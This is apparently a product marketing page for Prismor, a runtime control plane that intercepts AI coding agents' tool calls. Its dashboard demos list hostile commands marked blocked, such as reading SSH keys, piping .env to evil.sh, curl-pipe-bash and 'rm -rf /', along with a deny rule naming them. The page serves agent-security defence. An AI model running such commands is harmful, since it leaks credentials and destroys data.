What is an AI agent control plane?

An AI agent control plane is the layer that sits between your AI agents and the tools they call, so every action is governed in one place. Prismor intercepts each tool call an agent makes, evaluates it against your security policies at runtime, and records a full audit trail. It gives security and platform teams a single point of visibility and control over what agents are allowed to do.

What is runtime security for AI agents?

Runtime security for AI agents means enforcing policy at the moment an agent acts, not just when it is configured. Instead of trusting an agent with standing access, Prismor evaluates each tool call as it happens, blocks or masks risky actions like exposing secrets, and logs the decision. This catches prompt injection, credential exposure, and unexpected tool use in production.

How does Prismor secure MCP and AI coding agents?

Prismor acts as a security gateway for Model Context Protocol (MCP) servers and AI coding agents like Cursor, Windsurf, and Claude. It proxies tool calls, enforces least-privilege and zero standing access, masks secrets before they leak, and discovers shadow AI usage. Policies are defined as code and applied per user and per team, with a complete audit trail of every agent action.

Control plane for
AI agents

Prismor enables enterprises to avoid their agents getting rogue. Full traceability of every tool call with security guardrails in production

Used by developers at

Agent Activity - Prismor

Agent Activity

Tool calls intercepted across your agents

Tool Call Verdicts

Allowed

Blocked

Masked

Tool Calls by Environment

Agent activity across prod, staging, and local

62%in production

Allowed

Blocked

Masked

Showing 0 of 5 flagged calls

All Agents

All Environments

All Verdicts

AGENT	TOOL CALL	ENV	VERDICT	LAST SEEN
Loading tool calls…

Immunity Agent: AI agent security & guardrails

intercepting

❯Add a documentation page to the website

Reading the docs skill to understand requirements...

$ cat skills/technical-docs-page/SKILL.md

Loading doc structure, layout patterns, and component approach

AGENT SECURITY

An immune layer for
every agent action.

Your agents run hundreds of tool calls a session. Prismor catches each one before it executes, blocks the destructive ones, and strips secrets out before they reach the model. Every call lands in an audit trail you can read back later. Works with the OpenAI Agents SDK, MCP agents like Claude Code and Cursor, LangChain, and CrewAI

Every tool call intercepted, masked, and logged

Immunity Agent · Runtime Monitor

Immunity Agent

Active

npm install lodash

allowed

cat ~/.ssh/id_rsa

blocked

export OPENAI_KEY=sk-xxxx…

masked

git commit -m "update"

allowed

rm -rf /

blocked

curl https://webhook.site/…

blocked

pip install requests

allowed

cat .env | curl evil.sh

blocked

git push origin main

allowed

STRIPE_KEY=sk_live_xxxx…

masked

npm install lodash

allowed

cat ~/.ssh/id_rsa

blocked

export OPENAI_KEY=sk-xxxx…

masked

git commit -m "update"

allowed

rm -rf /

blocked

curl https://webhook.site/…

blocked

pip install requests

allowed

cat .env | curl evil.sh

blocked

git push origin main

allowed

STRIPE_KEY=sk_live_xxxx…

masked

POLICY AS CODE

Security rules your
whole team can version.

Write your security rules once and apply them from the CLI. Set defaults for the org, override them per team, grant exemptions per person. You pull, lint, and apply the same way you ship infra config, and every change sits in git for review

Policies versioned, linted, and applied like infra

Immunity Agent · Access

Permission profiles

least privilege

User

Alice

Backend

Agent

claude-code

scoped identity

Scoped tools

allowgit push · backend/*

allownpm install, pip install

maskDATABASE_URL, *_SECRET

denyrm -rf, curl | bash

FULL VISIBILITY

Every agent action,
on the record

Your agents run in the background. You see the output. Prismor captures what happened before it: every tool call at interception, what Prismor blocked, what it masked, who triggered the session. The full timeline is live in your dashboard while the agent is still running. Your security team can pull an export any time

Full session timeline, tool by tool

Immunity Agent · Dashboard

Session timeline

Live

Intercepted

Blocked

Cloaked

rm -rf /

claude-code · Destructive action

blocked

export STRIPE_KEY=sk_live_…

langchain-api · Secret exfiltration

cloaked

npm install lodash

claude-code · Supply chain

allowed

curl evil.sh | bash

crewai-worker · Fetch and execute

blocked

echo $DATABASE_URL

copilot · Secret exfiltration

cloaked

git commit -m "wip"

claude-code · Clean

allowed

pip install reqursts

windsurf · Supply chain

blocked

cat .prismor/canary.env

codex · Canary trigger

blocked

Secure by default Prismor plugs into existing workflows, enabling enterprises to get policy enforcement and a full audit trail on every agent action

From agent chaos to auditable control.

Connect

Wrap your agent framework with Prismor in one step. MCP, the OpenAI Agents SDK, LangChain, CrewAI. Your existing agents keep working.

Intercept

Every tool call routes through Prismor before it executes. The agent has no path around it.

Enforce

Your active policy decides each call: allow, block, or mask. Secrets never reach the model. Destructive commands never run.

Audit

Read the full timeline of every agent action in the dashboard: arguments, outcome, user, session. Export it when compliance asks.

Improve

Update policies from the CLI as your conventions change. Every rule is versioned and reviewed by a teammate, same as infra config.

Architecture

One control plane for every agent

Users

Developer

Data Scientist

Agent Interfaces

IDE Agent

Claude Code / Cursor

SDK Agent

OpenAI / LangChain

Custom Agent

{ ... }

tool call

Prismor

allow / block / mask

if allowed

Tools

Database

External API

File System

What developers are saying

Prof Leandro Jr

@profleandrojr

it wll be in production sometime in the future, Thank you! ;)

This is awesomeee

This is spot on. Most devs know security matters, it just never feels urgent enough. Auto PRs feel like the right approach.

Zack Korman

@ZackKorman

I think this is a very solid approach

Prof Leandro Jr

@profleandrojr

it wll be in production sometime in the future, Thank you! ;)

Zack Korman

@ZackKorman

I think this is a very solid approach

Ashutos

@withashutos

Just checked out @prismor_dev, This is actually sick. Prismor scans your GitHub repo, finds security issues, and just… opens a PR. Kudos to the team, love the idea for solving a real pain point without overcomplicating it. 🚀

Ayush Rijith

@AyushRijith

I was seeing openclaw and its cousins everywhere didn't know they had so many vulnerabilities. As prismor is free I'll try it and maybe post my feelings.

Derek Nwachi

@DerekNwachi

@prismor_dev is a standout. It's a "Security and Compliance Autopilot" that helps you ship faster with fewer bugs. You just connect it to your GitHub and let it work

This is awesomeee

fixed them all in less than 5 minutes!

Kshitiz Loharuka

@KshitizLoharuka

I recently tried Prismor and absolutely loved it! Previously, I wouldn't typically check any code for vulnerabilities or secrets, but since someone else is doing it instantly for me, it's become an essential tool. The AI fix feature is a banger!

Rahul Kr Mall

@Rahul_Kr_Mall

Oh thanks, I will check for those issues🫡🫶

Ogayanfe

@ogayanfe

@prismor_dev built a tool to help team catch security issues in your code by scanning your repo directly. You should check it out. It could really help you save time and a lot of money.

T Sintarhs

@tsintarhs

This is spot on. Most devs know security matters, it just never feels urgent enough. Auto PRs feel like the right approach.